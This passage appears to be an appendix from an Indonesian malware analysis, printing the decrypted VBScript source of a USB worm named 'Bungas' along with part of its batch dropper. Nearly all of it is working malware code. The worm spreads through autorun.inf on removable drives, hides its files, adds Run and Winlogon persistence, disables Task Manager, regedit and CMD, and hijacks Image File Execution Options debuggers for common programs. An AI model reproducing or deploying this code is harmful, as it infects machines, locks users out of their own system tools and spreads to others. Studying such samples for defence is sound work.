"&vbcrlf&"echo    ##        ## ##       ## ##       ## ##        ## ##        ## ##       ##
"&vbcrlf&"echo    ##       ### ##       ## ##       ## ##        ## ##        ## ##       ##
"&vbcrlf&"echo    ###########  ########## ##       ## ########## ##        ## ##########
"&vbcrlf&"echo    ##########    #########  ##       ##  #########  ##        ##  ########
"&vbcrlf&"echo ~"&vbcrlf&"echo Bungas Operating System[Version 01.06.2007]"&vbcrlf&"echo (C)
Copyright 2007-2008 Bungas People Society Corp."&vbcrlf&"echo ~"&vbcrlf&"pause"
Varians.close
Mean.DeleteFile "statistics.bgs"
Mean.DeleteFile "Strukdat.bgs"
Mean.CopyFile Binomial,temppath&"\bungas.vbs"
Mean.CopyFile Binomial,winpath&"\bungas.vbs"
Mean.CopyFile temppath&"\Virusmaker.bat",winpath&"\Virusmaker.bat"
set Korelasi = Mean.getfile(winpath&"\bungas.vbs")
Korelasi.attributes = 39
set Korelasi = Mean.getfile(temppath&"\bungas.vbs")
Korelasi.attributes = 39
set Korelasi = Mean.getfile(winpath&"\Virusmaker.bat")
Korelasi.attributes = 39
set Korelasi = Mean.getfile(temppath&"\Virusmaker.bat")
Korelasi.attributes = 39
```

Lampiran 2. Isi file "Molin.bgs" setelah didekripsi

```
on error resume next
set Gamma=createobject("Scripting.FileSystemObject")
Gamma.DeleteFile "Molin.bgs"
Set Beta=Gamma.GetFile(Wscript.ScriptFullName)
inisial = Beta.drive.drivetype
Survei=Day(Now())&Month(Now())&Year(Now())
Set temppath=Gamma.getspecialfolder(2)
Set winpath=Gamma.getspecialfolder(0)
Set CLT=Gamma.CreateTextFile(temppath&"\Virusmaker.bgs")
CLT.writeline "[Autorun]"&vbcrlf&"shell\Properties\command=wscript.exe
    "&""""&Survei&".vbs""&vbcrlf&"shell=Properties"
CLT.close
Set Pivotal=Gamma.GetFile(temppath&"\Virusmaker.bgs")
Pivotal.attributes =39
do
  for each flashdrive in Gamma.drives
    If (flashdrive.drivetype = 1) and flashdrive.path <> "A:" then
      Gamma.copyfile Beta,flashdrive.path &"\"&Survei&".vbs"
      set Alpha=Gamma.getfile(flashdrive.path &"\"&Survei&".vbs")
      Alpha.attributes =39
      set Alpha=Gamma.getfile(flashdrive.path &"\autorun.inf")
      Alpha.attributes =32
      Gamma.copyfile Pivotal,flashdrive.path &"\autorun.inf"
      Alpha.attributes =39
    end if
  next
  set Sufficient = createobject("WScript.Shell")
Sufficient.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advan
    ced\ShowSuperHidden","0","REG_DWORD"
Sufficient.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Syste
    m\DisableRegistryTools","1","REG_DWORD"
Sufficient.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Syste
    m\DisableTaskMgr","1","REG_DWORD"
Sufficient.RegWrite"HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD","
    2","REG_DWORD"
Sufficient.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\bungas",te
    mppath & "\bungas.vbs"
Sufficient.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
    Execution Options\rstrui.exe\Debugger","Virusmaker.bat"
Sufficient.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
    Execution Options\taskmgr.exe\Debugger","Virusmaker.bat"
Sufficient.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
    Execution Options\msconfig.exe\Debugger","Virusmaker.bat"
Sufficient.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
    Execution Options\regedit.exe\Debugger","Virusmaker.bat"
Sufficient.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
    Execution Options\notepad.exe\Debugger","Virusmaker.bat"
Sufficient.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
    Execution Options\wordpad.exe\Debugger","Virusmaker.bat"
Sufficient.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
    Execution Options\agentsvr.exe\Debugger","Virusmaker.bat"
Sufficient.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
    Execution Options\winword.exe\Debugger","Virusmaker.bat"
Sufficient.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
    NT\CurrentVersion\Winlogon\Shell","Explorer.exe ""&winpath & "\bungas.vbs""
Sufficient.regdelete"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
    File Execution Options\cmd.exe\Debugger"
  if inisial <> 1 then
    Wscript.sleep 20000
  end if
loop while inisial <> 1

set Sensus = createobject("Wscript.shell")
Sensus.run temppath & "\Virusmaker.bat"
set APS = createobject("Wscript.shell")
APS.run temppath & "\bungas.vbs"
```